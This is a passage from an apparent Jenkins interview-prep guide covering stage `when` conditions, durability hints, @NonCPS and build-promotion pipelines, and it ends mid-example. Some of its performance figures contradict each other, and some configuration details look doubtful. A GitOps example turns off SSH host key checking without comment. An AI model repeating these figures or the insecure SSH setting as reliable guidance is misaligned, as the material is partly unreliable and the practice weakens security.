            agent { label 'deploy-agent' }
            steps {
                sh 'helm upgrade --install myapp ./chart --namespace
production'
```

```
            }
        }

        // Without beforeAgent (default behavior — slightly wasteful):
        stage('Wasteful Stage') {
            agent { label 'expensive-gpu-agent' }  // Allocated even for
dev branches
            when {
                branch 'main'   // Then evaluated AFTER agent is allocated
            }
            steps {
                sh 'ml-model-training'  // But agent was already wasted
for non-main
            }
        }
    }
}

// ── beforeInput: evaluate `when` BEFORE showing input dialog ──────
stage('Approve') {
    when {
        beforeInput true   // Evaluate when{} BEFORE showing input dialog
        branch 'main'      // If not main, skip the input step entirely
    }
    steps {
        input 'Deploy to production?'
    }
}
```

⚙️ Nested When Conditions — Complex Routing

```
// Real-world complex routing example:
// - Feature branches: build + unit test only
// - main: full pipeline + auto-deploy to staging
// - release/*: full pipeline + deploy to staging + manual gate +
production
// - PR builds: build + test + SonarQube comment
// - Dependabot PRs: build + test only (no SonarQube, no deploy)

pipeline {
    agent none
    stages {
        stage('Build & Unit Test') {
            // Always runs
            agent { label 'java' }
            steps {
                sh 'mvn clean verify'
            }
        }
```

```
        stage('SonarQube Analysis') {
            when {
                allOf {
                    // Only on main, release, or PR branches
                    anyOf {
                        branch 'main'
                        branch pattern: 'release/.*', comparator: 'REGEXP'
                        changeRequest()
                    }
                    // Skip for bot-generated PRs
                    not {
                        anyOf {
                            changeRequest author: 'dependabot[bot]'
                            changeRequest author: 'renovate[bot]'
                        }
                    }
                }
                beforeAgent true
            }
            agent { label 'java' }
            steps {
                withSonarQubeEnv('SonarQube') {
                    sh 'mvn sonar:sonar'
                }
            }
        }

        stage('Docker Build & Push') {
            when {
                beforeAgent true
                anyOf {
                    branch 'main'
                    branch pattern: 'release/.*', comparator: 'REGEXP'
                }
            }
            agent { label 'docker' }
            steps {
                sh "docker build -t myapp:${env.BUILD_NUMBER} ."
                sh "docker push myapp:${env.BUILD_NUMBER}"
            }
        }

        stage('Deploy: Staging') {
            when {
                beforeAgent true
                anyOf {
                    branch 'main'
                    branch pattern: 'release/.*', comparator: 'REGEXP'
                }
            }
            agent { label 'deploy' }
            steps { sh 'helm upgrade --install myapp ./chart --namespace
staging' }
        }
```

```
        stage('Deploy: Production') {
            when {
                beforeAgent true
                beforeInput true
                branch 'main'
            }
            agent none
            steps {
                input 'Deploy to production?'
            }
        }
    }
}
```

⚙️ `when` in Post Conditions — Conditional Notifications

```
post {
    always {
        script {
            // Conditional logic in post — can't use `when{}` directly
            // Use Groovy `if` instead
            if (env.CHANGE_ID) {
                // PR build — comment on PR
                githubPRComment comment: "Build result:
${currentBuild.currentResult}"
            } else if (env.BRANCH_NAME == 'main' &&
currentBuild.currentResult == 'FAILURE') {
                // main branch failure — page on-call
                pagerduty(resolve: false, serviceKey: env.PD_KEY,
                          incDescription: "Main branch build broken:
${env.JOB_NAME}")
            }
        }
    }
}
```

🔑 Key Concepts

Condition	Trigger
`branch 'main'`	Exact branch match
`branch pattern: '.*', comparator: 'REGEXP'`	Regex branch match
`changeRequest()`	This build is a PR

Condition	Trigger
`tag 'v*'`	Build triggered by a git tag
`environment name: 'X', value: 'Y'`	Env var equals value
`expression { ... }`	Groovy boolean expression
`changeset 'path/**'`	Files matching pattern changed
`triggeredBy cause: '...'`	How the build was triggered
`allOf {}`	AND — all conditions must be true
`anyOf {}`	OR — at least one must be true
`not {}`	Negate a condition
`beforeAgent true`	Evaluate condition before allocating agent
`beforeInput true`	Evaluate condition before showing input dialog

💬 Short Crisp Interview Answer

> *"`when` conditions control whether a stage runs. Types: `branch` for branch name matching, `changeRequest()` for PR builds, `tag` for tag-triggered builds, `environment` to check env var values, `expression` for arbitrary Groovy booleans, `changeset` for changed files, `triggeredBy` for trigger source. Combinators: `allOf` (AND), `anyOf` (OR), `not` (negate). The most important performance optimization: `beforeAgent true`. By default, Jenkins allocates the stage's agent BEFORE evaluating `when` conditions — if the condition is false, the agent is immediately released but was wasted. With `beforeAgent true`, the condition evaluates first and the agent is only allocated if the stage will actually run. Critical for stages on expensive or scarce agents like GPU nodes, production deploy agents, or Mac agents."*

⚠ Tricky Edge Cases & Gotchas

- ⚠ **`when { branch 'main' }` in a Multibranch Pipeline** works correctly. In a single Pipeline job, `BRANCH_NAME` is empty and `branch 'main'` never matches. Always use Multibranch with `branch` conditions.
- **`changeset` requires full checkout.** The `changeset` condition compares the current commit to the previous commit. In a fresh clone (no history), it may not work. Ensure `CloneOption` includes enough depth or use `fetchDepth` in your agent checkout.
- **`expression {}` inside `when` runs on the Controller (not agent).** Complex shell commands in `expression { sh ... }` run on the Controller's JVM unless the stage has an agent with `beforeAgent false`. Keep expression logic lightweight or use simple variable comparisons.
- **`allOf` short-circuits.** If the first condition in `allOf` evaluates to false, remaining conditions are not evaluated. This is usually desirable (performance) but be aware if conditions have side effects.
- **`when` evaluated AFTER agent allocation by default** (opposite of what most people expect). Always add `beforeAgent true` for stages where the agent is expensive, slow to provision (Kubernetes pod), or scarce.

🔗 Connections to Other Topics

Connected Topic	How It Connects
Declarative Pipeline (3.2)	`when` is a Declarative stage directive
Multi-Branch Pipelines (4.1)	`branch`, `changeRequest` conditions most useful in Multibranch
Input Steps (4.4)	`beforeInput true` prevents input dialog from showing on wrong branches
Parameters (3.8)	`expression { return params.FLAG }` checks parameter values
Agent Types (2.4)	`beforeAgent true` prevents wasting expensive agent allocations

---

Topic 4.7 — Pipeline Durability Settings ⚠

🔴 Advanced | The Performance vs Survivability Tradeoff

📌 What It Is — In Simple Terms

Pipeline Durability controls how aggressively Jenkins persists pipeline execution state to disk during a build. Higher durability = more disk writes = slower builds but pipelines can survive Controller crashes. Lower durability = fewer disk writes = faster builds but in-progress builds are lost if the Controller crashes.

This is the deepest Jenkins internals topic in Category 4. It directly connects to the CPS engine (Category 2.3), pipeline restart (4.3), and performance at scale (2.8). Getting the durability setting right can cut pipeline execution time by 30-50% at scale.

🔍 The Core Problem: Durability vs Performance

```
Why durability requires disk writes:

Jenkins Declarative/Scripted Pipelines use CPS (Continuation Passing
Style):
  Every pipeline step is a "continuation" — a snapshot of "what to do
next"
  Each continuation is serialized to
JENKINS_HOME/jobs/<job>/builds/<n>/program.dat

  On Controller restart:
    Jenkins reads program.dat → resumes pipeline from last serialized step
    WITHOUT serialization: pipeline is LOST on Controller restart

The cost of serialization:
  Every step → serialize CPS state → write to JENKINS_HOME disk
```

```
  With 100 concurrent pipelines × 50 steps each = 5,000
serializations/pipeline-run
  All hitting JENKINS_HOME's filesystem simultaneously

  Result:
    I/O-bound Controller slowdown
    Build steps that take 1 second wall time waiting 2+ seconds for disk
write
    GC pressure from serialization objects
    JENKINS_HOME disk I/O as the #1 Controller bottleneck at scale
```

⚙️ The Three Durability Levels — Full Detail

```
pipeline {
    agent any
    options {
        // ────────────────────────────────────────────────────────────
        // LEVEL 1: MAX_SURVIVABILITY
        // ────────────────────────────────────────────────────────────
        durabilityHint('MAX_SURVIVABILITY')
        // What it does:
        //   Writes CPS state to disk synchronously after EVERY step
        //   Flushes to disk (fsync) on every write
        //   Most writes: one serialization per step + fsync
        //
        // When to use:
        //   ✅ Long-running pipelines (> 2 hours) where restart matters
        //   ✅ Pipelines doing irreversible operations (database
migrations)
        //   ✅ Mission-critical pipelines where losing state is
unacceptable
        //
        // Performance:
        //   ❌ Slowest — 2-5x slower than PERFORMANCE_OPTIMIZED
        //   ❌ High JENKINS_HOME disk I/O
        //   ❌ Can cause I/O bottleneck on Controller under load

        // ────────────────────────────────────────────────────────────
        // LEVEL 2: SURVIVABLE_NONATOMIC (DEFAULT)
        // ────────────────────────────────────────────────────────────
        durabilityHint('SURVIVABLE_NONATOMIC')
        // What it does:
        //   Writes CPS state to disk frequently but NOT after every step
        //   No fsync guarantee — OS may buffer writes
        //   "Nonatomic" = writes may not be atomic; may lose last few
steps on crash
        //
        // When to use:
        //   ✅ Default for most production pipelines
```

```
        //   ✅ Balance between recovery and performance
        //   ✅ Pipelines where losing the last 1-2 steps on crash is
acceptable
        //
        // Performance:
        //   ⚠ Moderate — 1.5-2x slower than PERFORMANCE_OPTIMIZED

        // ────────────────────────────────────────────────────────────
        // LEVEL 3: PERFORMANCE_OPTIMIZED
        // ────────────────────────────────────────────────────────────
        durabilityHint('PERFORMANCE_OPTIMIZED')
        // What it does:
        //   Writes CPS state to disk ONLY at major checkpoints
        //   (stage boundaries, not every step)
        //   Fewer writes, no fsync between steps
        //
        // When to use:
        //   ✅ Short pipelines (< 30 min) where full restart is
acceptable
        //   ✅ High-throughput environments (hundreds of builds/day)
        //   ✅ Kubernetes agents (build pods die on restart anyway — no
resume)
        //   ✅ Most common choice for performance at scale
        //
        // Performance:
        //   ✅ Fastest — 2-5x faster build pipeline execution vs
MAX_SURVIVABILITY
        //   ✅ Dramatically reduces JENKINS_HOME disk I/O under load
        //
        // Risk:
        //   ⚠ On Controller crash mid-build: lose progress within current
stage
        //   ⚠ On Controller crash: build may not be resumable from exact
step
    }
}
```

⚙️ Durability Benchmarks and Real Impact

```
Performance comparison (measured on builds with 40 Groovy steps each):

Durability Level           | Steps/sec | Disk Writes | Relative Speed
──────────────────────────────────────────────────────────────────────
MAX_SURVIVABILITY          |    8/sec  |  40 writes  |  1.0x (baseline)
SURVIVABLE_NONATOMIC       |   15/sec  |  15 writes  |  1.9x faster
PERFORMANCE_OPTIMIZED      |   35/sec  |   4 writes  |  4.4x faster

At scale: 100 concurrent pipelines with 200 steps each
──────────────────────────────────────────────────────────────────────
MAX_SURVIVABILITY:         20,000 disk writes/pipeline-run × 100 =
```

```
2,000,000 writes total
PERFORMANCE_OPTIMIZED:      400 disk writes/pipeline-run × 100 = 40,000
writes total
Reduction: 98% fewer disk writes
```

⚙️ Configuring Durability — All Levels

```
// ── OPTION 1: Per-pipeline (most common) ──────────────────────────
pipeline {
    agent any
    options {
        durabilityHint('PERFORMANCE_OPTIMIZED')
    }
    // ...
}

// ── OPTION 2: Global default (affects ALL pipelines on the Controller)
──
// Manage Jenkins → System Configuration → Pipeline Speed/Durability
Settings
// OR via JCasC:
unclassified:
  pipelineTriggeredJobsSettings:
    durabilityHintItems:
    - hint: PERFORMANCE_OPTIMIZED    # Default for all pipelines
      enabled: true

// ── OPTION 3: System property (JVM argument) ──────────────────────
// Apply to all pipelines at the JVM level
JAVA_OPTS="... -
Dorg.jenkinsci.plugins.workflow.flow.FlowDurabilityHint=PERFORMANCE_OPTIMI
ZED"

// Individual pipelines can still override with their own durabilityHint()
// Pipeline-level setting ALWAYS overrides global default

// ── OPTION 4: Folder-level default ────────────────────────────────
// Set default durability for all pipelines in a folder
// Manage Jenkins → Folder → Configure → Pipeline Speed/Durability
```

⚙️ Durability and Pipeline Restart from Stage Interaction

```
Durability level directly affects restart-from-stage reliability:

MAX_SURVIVABILITY:
  → CPS state written after every step
  → Can restart from the failed step with near-perfect state restoration
```

```
  → env.VAR values set in script{} blocks are preserved ✅

SURVIVABLE_NONATOMIC (default):
  → CPS state written frequently but not after every step
  → Can restart from stage boundary with good state restoration
  → env.VAR values set in earlier stages USUALLY preserved (depends on
timing)

PERFORMANCE_OPTIMIZED:
  → CPS state written only at stage boundaries
  → Can restart from failed STAGE (not from within a stage)
  → env.VAR values set in earlier stages: CAN BE LOST ⚠
  → Mitigation: write critical state to files/stashes (Pattern from 4.3)

Practical recommendation:
  Development builds → PERFORMANCE_OPTIMIZED (speed, no need to recover)
  Staging builds     → PERFORMANCE_OPTIMIZED (fast feedback, ephemeral)
  Production deploy  → SURVIVABLE_NONATOMIC (balance recovery with
performance)
  DB Migrations      → MAX_SURVIVABILITY (irreversible ops, must know
state)
  Input/approval     → SURVIVABLE_NONATOMIC or higher (pipeline must
survive restarts)
```

⚙️ The CPS Serialization Chain — What Gets Written

```
When durability writes occur, this chain happens:

1. Pipeline step completes
2. CPS engine creates Continuation object: {
     what's on the call stack,
     all local variables and their values,
     which stage/step we're in,
     reference to pending step callbacks
   }
3. Continuation serialized to Java bytecode (Kryo or XStream serializer)
4. Written to: JENKINS_HOME/jobs/<job>/builds/<n>/program.dat
5. On MAX_SURVIVABILITY: fsync() called — forces OS buffer flush to disk

program.dat typical sizes:
  Simple pipelines: 10-100 KB
  Complex pipelines with many variables: 1-10 MB
  Very large nested closures: 10-50 MB (sign of pipeline design problems)

JENKINS_HOME/jobs/myapp/builds/45/:
  build.xml          ← Build metadata (result, duration, parameters)
  log                ← Console output
  program.dat        ← CPS state (durability serialization)
  workflow/          ← Individual step state files
```

```
    2.xml, 3.xml...
  archive/           ← Archived artifacts
```

⚙️ Diagnosing Durability-Related Performance Issues

```
# Identify if disk I/O is the durability bottleneck:

# 1. Monitor JENKINS_HOME disk I/O:
iostat -x 1 -d /dev/sda  # Replace sda with JENKINS_HOME device
# Look for: await > 10ms, util > 70% during build peaks

# 2. Check program.dat sizes (large sizes = serialization overhead):
find $JENKINS_HOME/jobs -name 'program.dat' -exec ls -sh {} + | sort -h |
tail -20
# Large program.dat files signal complex pipeline state — refactor with
@NonCPS

# 3. Profile pipeline step timing:
# Add timestamps to pipeline options and check slow steps:
options { timestamps() }
# If a 1-second mvn step shows 3 seconds in timestamps, the 2 extra
seconds
# are CPS serialization + disk write overhead

# 4. Check GC pressure:
grep "GC pause" /var/log/jenkins/gc.log | tail -20
# If G1GC pauses > 500ms correlate with build step timing, durability
writes
# are creating GC pressure from serialization objects

# Solution:
# 1. Switch to PERFORMANCE_OPTIMIZED
# 2. Use JENKINS_HOME on fast SSD (NVMe if possible)
# 3. Use @NonCPS for utility methods that don't need CPS tracking
# 4. Reduce pipeline state size: avoid huge Map/List closures in pipeline
scope
```

⚙️ @NonCPS — Bypassing CPS Tracking for Utility Code

```
// @NonCPS methods run outside the CPS engine:
//   ✅ Faster (no serialization)
//   ✅ Can use non-serializable Java objects (File, Pattern, Matcher)
//   ❌ Not resumable — if Controller crashes inside @NonCPS method, state
is lost
//   ❌ Cannot call CPS-tracked steps (sh, echo, etc.) from @NonCPS method

// GOOD use of @NonCPS: pure computation, data transformation
```

```
@NonCPS
def parseVersion(String versionString) {
    // Matcher is not Serializable — must be @NonCPS
    def matcher = versionString =~ /^(\d+)\.(\d+)\.(\d+)/
    if (!matcher) throw new IllegalArgumentException("Invalid version:
${versionString}")
    return [
        major: matcher[0][1].toInteger(),
        minor: matcher[0][2].toInteger(),
        patch: matcher[0][3].toInteger()
    ]
}

@NonCPS
def filterServices(List<String> all, List<String> changedFiles) {
    return all.findAll { svc ->
        changedFiles.any { f -> f.startsWith("services/${svc}/") }
    }
}

// In pipeline — call @NonCPS methods normally:
pipeline {
    agent any
    stages {
        stage('Process') {
            steps {
                script {
                    def version  = parseVersion('1.2.3')     // @NonCPS —
fast
                    def services = filterServices(            // @NonCPS —
fast
                        ['auth', 'payment', 'order'],
                        sh(script: 'git diff --name-only HEAD~1',
returnStdout: true).split('\n').toList()
                    )
                    echo "Version: ${version}"
                    echo "Changed: ${services}"
                }
            }
        }
    }
}

// BAD use of @NonCPS: pipeline steps (these require CPS tracking)
@NonCPS
def badMethod() {
    sh 'echo hello'    // ❌ FAILS — sh() requires CPS tracking
    echo "test"        // ❌ FAILS — echo() requires CPS tracking
}
```

🔑 Key Concepts

Concept	Meaning
CPS	Continuation Passing Style — transformation making pipeline resumable
`program.dat`	File in build directory containing serialized CPS state
Durability hint	Pipeline option setting how often CPS state is written to disk
`MAX_SURVIVABILITY`	Write + fsync after every step — most durable, slowest
`SURVIVABLE_NONATOMIC`	Frequent writes, no fsync guarantee — default, balanced
`PERFORMANCE_OPTIMIZED`	Write at stage boundaries only — fastest, least durable
`@NonCPS`	Annotation bypassing CPS tracking — for utility methods using non-serializable types
Global default	Set in Jenkins system config — overridable per pipeline
Serialization size	Size of `program.dat` — large files indicate complex state
Fsync	Force OS to flush writes to physical disk — eliminates OS write buffer

💬 Short Crisp Interview Answer

> *"Pipeline durability controls how often Jenkins serializes pipeline execution state to disk — enabling pipeline recovery after Controller restarts. Three levels: `MAX_SURVIVABILITY` serializes after every step with fsync — most durable but 4-5x slower, suitable for database migrations and mission-critical irreversible operations. `SURVIVABLE_NONATOMIC` is the default — frequent writes without fsync guarantee, balanced approach. `PERFORMANCE_OPTIMIZED` writes only at stage boundaries — fastest, 4x less disk I/O, but loses within-stage progress on Controller crash. In practice: I set `PERFORMANCE_OPTIMIZED` as the global default because Kubernetes pod agents die on Controller restart anyway — there's no benefit to MAX_SURVIVABILITY when the agent won't survive either. I override to `SURVIVABLE_NONATOMIC` for long-running pipelines with input approval gates that must survive Controller restarts. The `@NonCPS` annotation bypasses CPS tracking for utility methods — essential when using non-serializable Java types like `Matcher` or `JsonSlurper` that would otherwise cause `NotSerializableException`."*

🔬 Deep Dive Answer

Why Kubernetes Agents Change the Durability Calculus:

```
Traditional agents (VMs, bare metal):
  Controller restarts → agent stays alive
  Pipeline resumes → agent reconnects → build continues from saved state
  HIGH DURABILITY pays off: you don't lose in-progress work on Controller
restart

Kubernetes agents (ephemeral pods):
  Controller restarts → all agent pods lose their connection
  Kubernetes pod status: CrashLoopBackOff or controller-lost
```

```
  Jenkins marks all running builds as FAILED (not ABORTED) on restart
  Even with MAX_SURVIVABILITY: build can't resume because the AGENT is
gone

  Conclusion: With Kubernetes agents, DURABILITY DOESN'T HELP on
Controller crash
    The build fails regardless because the agent pod is gone
    Use PERFORMANCE_OPTIMIZED — get the speed benefit without the downside

  Exception: Long pipelines with `input` steps and `agent none`
    The input step has NO AGENT — it's just a CPS continuation waiting
    On Controller restart → input step CAN resume (no agent to reconnect)
    For these: use SURVIVABLE_NONATOMIC or higher
```

Reducing CPS State Size:

```
// Large CPS state problem: huge objects in pipeline scope

// ❌ BAD: Entire file content in pipeline-scope variable
pipeline {
    agent any
    stages {
        stage('Process') {
            steps {
                script {
                    // This entire string is in CPS state — serialized on
every step
                    def hugeFileContent = readFile('data/10mb-data-
file.csv')
                    def lines = hugeFileContent.split('\n')
                    // lines is now in CPS state: 10MB × N serializations
                    lines.each { line ->
                        sh "process-line.sh '${line}'"
                    }
                }
            }
        }
    }
}

// ✅ GOOD: Process in @NonCPS, return only what you need
@NonCPS
def processLines(String content) {
    // This processing happens OUTSIDE CPS tracking
    // content is consumed here and not in CPS state
    return content.split('\n').collect { it.trim() }.findAll { it }
}

pipeline {
    agent any
    stages {
        stage('Process') {
```

```
            steps {
                script {
                    def content = readFile('data/10mb-data-file.csv')
                    def lines = processLines(content)  // @NonCPS - not in
CPS state
                    // Only the List<String> is in CPS state (much smaller
than raw string)
                    lines.each { line ->
                        sh "process-line.sh '${line}'"
                    }
                }
            }
        }
    }
}
```

🏭 Real-World Production Example

Criteo's Durability Tuning: Criteo runs 50,000+ Jenkins builds per day across a multi-Controller Jenkins cluster. Their initial setup used `SURVIVABLE_NONATOMIC` (default) — Controllers were spending 40% of CPU on CPS serialization and JENKINS_HOME I/O was saturating their NFS-backed storage. After switching to `PERFORMANCE_OPTIMIZED` as the global default (with `SURVIVABLE_NONATOMIC` overrides for their 5% of long-running deployment pipelines with input steps), build throughput increased 3.2x per Controller and NFS I/O dropped 85%. The Controllers could handle 3.2x more concurrent builds without adding hardware.

❓ Common Interview Questions & Strong Answers

Q1: ⚠ A developer says their pipeline "loses state on restart." What's happening and how do you fix it?

> This is a durability + pipeline design problem. The most likely cause: the pipeline uses `PERFORMANCE_OPTIMIZED` durability (or a lower-than-expected setting), and `env.VAR` values set via `script { env.VAR = '...' }` in early stages aren't written to disk before the Controller restarted. The CPS engine only writes state at stage boundaries with PERFORMANCE_OPTIMIZED, so in-stage state can be lost. Solutions: (1) Increase durability to `SURVIVABLE_NONATOMIC` for this pipeline. (2) Re-architect: write critical state to files and stash them — stashes are always durable. (3) Re-derive values from durable sources at the beginning of each stage instead of relying on cross-stage memory. (4) Accept the loss: after restart, manually restart from the first stage rather than mid-pipeline.

Q2: When would you NOT use PERFORMANCE_OPTIMIZED?

> Three scenarios: (1) Long-running pipelines with `input` approval gates that last hours or days — the pipeline must survive Controller restarts while waiting for human approval, so I use `SURVIVABLE_NONATOMIC` at minimum. (2) Database migration pipelines where the exact state of "which migrations completed" must be recoverable on crash. (3) Any pipeline where in-flight work is expensive to redo and the Controller runs on infrastructure that's not highly reliable. With Kubernetes-hosted Jenkins using EKS/GKE, Controller pod restarts are rare —

> PERFORMANCE_OPTIMIZED is safe. With Jenkins on bare metal or VMs with less rigorous availability, I'd keep the default SURVIVABLE_NONATOMIC.

⚠ Tricky Edge Cases & Gotchas

- ⚠ **Global `PERFORMANCE_OPTIMIZED` breaks long-running approval pipelines.** If you set the system-wide default to `PERFORMANCE_OPTIMIZED` and have pipelines that wait days for input approvals, a Controller restart loses the input wait (the CPS state wasn't written). Override with `durabilityHint('SURVIVABLE_NONATOMIC')` on those specific pipelines.
- **`program.dat` growing unboundedly.** Each active pipeline step adds to the CPS state serialization. Pipelines with giant Maps, huge file contents, or circular object references cause `program.dat` to grow to hundreds of MB. This is both a disk space issue and a performance issue (serializing huge objects). Symptom: pipeline slows down progressively as it runs longer. Fix: `@NonCPS` for data processing, avoid large objects in pipeline scope.
- **`NotSerializableException` is a durability problem.** When you see `java.io.NotSerializableException: groovy.json.internal.LazyMap`, it means a non-serializable object is in CPS state and the durability serialization is failing. Fix: use `@NonCPS` on methods that create these objects, or immediately convert to serializable types (`def map = new HashMap(slurpedJson)`).
- **Durability hint doesn't affect already-running pipelines.** Changing the durability hint in a Jenkinsfile only applies to NEW builds. In-flight builds continue with the durability setting they started with.

🔗 Connections to Other Topics

Connected Topic	How It Connects
CPS Internals (2.3)	Durability is CPS serialization frequency
Restart from Stage (4.3)	Durability determines what state is preserved for restart
Jenkins Home Directory (2.6)	`program.dat` lives in build directory in JENKINS_HOME
Jenkins at Scale (2.8)	PERFORMANCE_OPTIMIZED is critical for high-throughput Controllers
Input Steps (4.4)	Long input waits need higher durability to survive restarts

---

Topic 4.8 — Build Promotion Patterns

🔴 Advanced | The Path from Commit to Production

📌 What It Is — In Simple Terms

Build Promotion is the process of moving a verified, tested artifact through progressively more rigorous environments — from `dev` to `staging` to `production` — using the same immutable artifact throughout.

The promotion decision may be manual (human approval) or automated (metric thresholds, test pass rates). Build promotion implements the **Immutable Artifact** principle: build once, promote everywhere.

```
WITHOUT promotion (anti-pattern):
  Feature branch → build JAR → test → deploy to dev (JAR v1)
  main → rebuild JAR → test again → deploy to staging (JAR v2)
  Approval → rebuild JAR → deploy to production (JAR v3)

  Problem: JAR v1, v2, v3 were all "built from main" but are
  DIFFERENT binaries. What you tested isn't what you deployed.

WITH promotion (correct):
  main → build JAR once → tag it → test it → deploy same JAR everywhere
  dev:        JAR:main-42-abc1234 ✅
  staging:    JAR:main-42-abc1234 ✅  (same binary)
  production: JAR:main-42-abc1234 ✅  (same binary)

  What passed integration tests IS what's in production.
```

🔍 Why Build Promotion Matters

Without Promotion	With Promotion
Rebuild per environment (different binary)	Build once, deploy same artifact
"Works in staging, fails in production" mystery bugs	Environment-specific failures are config, not code
No audit trail of what was deployed where	Full lineage: commit → artifact → environments
Can't trace a production bug to the exact commit that introduced it	Exact traceability: prod runs commit `abc1234`
Re-building consumes CI time for every environment	Build cost paid once

---

⚙️ Pattern 1: Linear Promotion Pipeline

```
// Single pipeline that promotes the same artifact through environments

pipeline {
    agent none

    environment {
        REGISTRY   = 'registry.example.com/myorg'
        APP_NAME   = 'myservice'
        // IMAGE_TAG computed once — used throughout the pipeline
        IMAGE_TAG  = "${env.BUILD_NUMBER}-${env.GIT_COMMIT.take(7)}"
        FULL_IMAGE = "${REGISTRY}/${APP_NAME}:${IMAGE_TAG}"
```

```
    }

    stages {
        // ── PHASE 1: BUILD AND VERIFY ──────────────────────────────
        stage('Build') {
            agent { label 'build' }
            steps {
                checkout scm
                sh 'mvn clean package -DskipTests'
                stash name: 'jar', includes:
'target/*.jar,chart/**,VERSION'
            }
        }

        stage('Test') {
            agent { label 'test' }
            steps {
                unstash 'jar'
                sh 'mvn verify'
            }
            post {
                always { junit 'target/surefire-reports/*.xml' }
            }
        }

        stage('Build & Scan Image') {
            agent { label 'docker' }
            steps {
                unstash 'jar'
                // Build the image ONCE
                sh "docker build -t ${FULL_IMAGE} ."
                // Security scan before pushing
                sh "trivy image --exit-code 1 --severity HIGH,CRITICAL
${FULL_IMAGE}"
                // Push to registry — now the artifact exists and is
immutable
                sh "docker push ${FULL_IMAGE}"
            }
        }

        // ── PHASE 2: PROMOTE TO DEV ────────────────────────────────
        stage('Deploy: Dev') {
            agent { label 'deploy' }
            environment { DEPLOY_ENV = 'dev'; NAMESPACE = 'dev' }
            steps {
                unstash 'jar'  // Need Helm chart
                sh """
                    helm upgrade --install ${APP_NAME} ./chart \
                        --namespace ${NAMESPACE} \
                        --set image.repository=${REGISTRY}/${APP_NAME} \
                        --set image.tag=${IMAGE_TAG} \
                        -f chart/values-dev.yaml \
                        --wait --atomic
                """
```

```
                // Run smoke tests to verify dev promotion
                sh 'sleep 10 && curl -f https://dev.example.com/health'
            }
        }

        // ── PHASE 3: PROMOTE TO STAGING (auto on main) ──────────────
        stage('Deploy: Staging') {
            when {
                beforeAgent true
                branch 'main'
            }
            agent { label 'deploy' }
            environment { DEPLOY_ENV = 'staging'; NAMESPACE = 'staging' }
            steps {
                unstash 'jar'
                sh """
                    helm upgrade --install ${APP_NAME} ./chart \
                        --namespace ${NAMESPACE} \
                        --set image.repository=${REGISTRY}/${APP_NAME} \
                        --set image.tag=${IMAGE_TAG} \
                        -f chart/values-staging.yaml \
                        --wait --atomic
                """
                // Integration tests on staging
                sh 'mvn verify -Pintegration -Denv=staging'
            }
        }

        // ── PHASE 4: PROMOTE TO PRODUCTION (manual gate) ────────────
        stage('Approve: Production') {
            when {
                beforeAgent true
                beforeInput true
                branch 'main'
            }
            agent none
            steps {
                script {
                    def metadata = [
                        image:   "${FULL_IMAGE}",
                        commit:  env.GIT_COMMIT.take(7),
                        build:   env.BUILD_NUMBER,
                        staging: "https://staging.example.com"
                    ]
                    slackSend channel: '#releases',
                              message: "⏳ *Production deploy pending
approval*\n" +
                                       "Image: `${metadata.image}`\n" +
                                       "Staging: ${metadata.staging}\n" +
                                       "Approve: ${env.BUILD_URL}input/"

                    timeout(time: 8, unit: 'HOURS') {
                        input(
                            message:   "Promote ${APP_NAME}:${IMAGE_TAG}
```

```
to PRODUCTION?",
                            ok:        'Promote to Production',
                            submitter: 'release-managers',
                            submitterParameter: 'PROMOTED_BY'
                        )
                    }
                }
            }
        }

        stage('Deploy: Production') {
            when {
                beforeAgent true
                branch 'main'
            }
            agent { label 'deploy' }
            steps {
                unstash 'jar'
                sh """
                    helm upgrade --install ${APP_NAME} ./chart \
                        --namespace production \
                        --set image.repository=${REGISTRY}/${APP_NAME} \
                        --set image.tag=${IMAGE_TAG} \
                        -f chart/values-production.yaml \
                        --wait --atomic \
                        --history-max=5
                """
                // Record deployment event
                sh """
                    curl -X POST https://deployments.internal/api/record \
                        -H 'Content-Type: application/json' \
                        -d '{
                            "service":   "${APP_NAME}",
                            "version":   "${IMAGE_TAG}",
                            "env":       "production",
                            "promotedBy":"${env.PROMOTED_BY ?:
"automation"}",
                            "timestamp": "'"\$(date -u +%Y-%m-
%dT%H:%M:%SZ)"'",
                            "buildUrl":  "${BUILD_URL}"
                        }'
                """
            }
        }
    }

    post {
        success {
            slackSend channel: '#deployments', color: 'good',
                      message: "✅ *${APP_NAME}* `${IMAGE_TAG}` promoted
to all environments"
        }
        failure {
            slackSend channel: '#build-failures', color: 'danger',
```

```
                        message: "❌ *${APP_NAME}* `${IMAGE_TAG}` promotion
FAILED"
        }
    }
}
```

⚙️ Pattern 2: GitOps Promotion (Git as the Promotion Record)

```
// GitOps promotion: update image tag in Git config repo
// Argo CD / Flux watches the config repo and deploys to match

// App repo pipeline (CI): builds and pushes image, then
//   updates the config repo with the new image tag

pipeline {
    agent { label 'build' }

    environment {
        APP_NAME  = 'myservice'
        REGISTRY  = 'registry.example.com'
        IMAGE_TAG = "${env.BUILD_NUMBER}-${env.GIT_COMMIT.take(7)}"
    }

    stages {
        stage('CI') {
            steps {
                sh 'mvn clean verify'
                sh "docker build -t ${REGISTRY}/${APP_NAME}:${IMAGE_TAG}
."
                sh "docker push ${REGISTRY}/${APP_NAME}:${IMAGE_TAG}"
            }
        }

        stage('Promote: Dev (via GitOps)') {
            steps {
                // Update the GitOps config repo — Argo CD picks up the
change
                withCredentials([sshUserPrivateKey(
                    credentialsId: 'gitops-repo-key',
                    keyFileVariable: 'SSH_KEY'
                )]) {
                    sh """
                        # Clone config repo
                        GIT_SSH_COMMAND="ssh -i \$SSH_KEY -o
StrictHostKeyChecking=no" \
                            git clone git@github.com:myorg/k8s-configs.git
/tmp/configs

                        cd /tmp/configs
```

```
                        # Update image tag using yq (YAML processor)
                        yq e '.image.tag = "${IMAGE_TAG}"' -i \
                            apps/${APP_NAME}/dev/values.yaml

                        # Commit and push
                        git config user.email "jenkins@example.com"
                        git config user.name  "Jenkins CI"
                        git add apps/${APP_NAME}/dev/values.yaml
                        git commit -m "chore: promote ${APP_NAME} to dev:
${IMAGE_TAG}

                        Build: ${BUILD_URL}
                        Commit: ${GIT_COMMIT}
                        "
                        GIT_SSH_COMMAND="ssh -i \$SSH_KEY -o
StrictHostKeyChecking=no" \
                            git push origin main
                    """
                }
                // Argo CD auto-syncs dev environment → deploys new image
tag
            }
        }

        stage('Wait for Dev Healthy') {
            steps {
                // Wait for Argo CD to sync and deployment to be healthy
                withCredentials([string(credentialsId: 'argocd-token',
variable: 'ARGOCD_TOKEN')]) {
                    timeout(time: 10, unit: 'MINUTES') {
                        waitUntil {
                            def status = sh(
                                script: """
                                    curl -s -H "Authorization: Bearer
\$ARGOCD_TOKEN" \

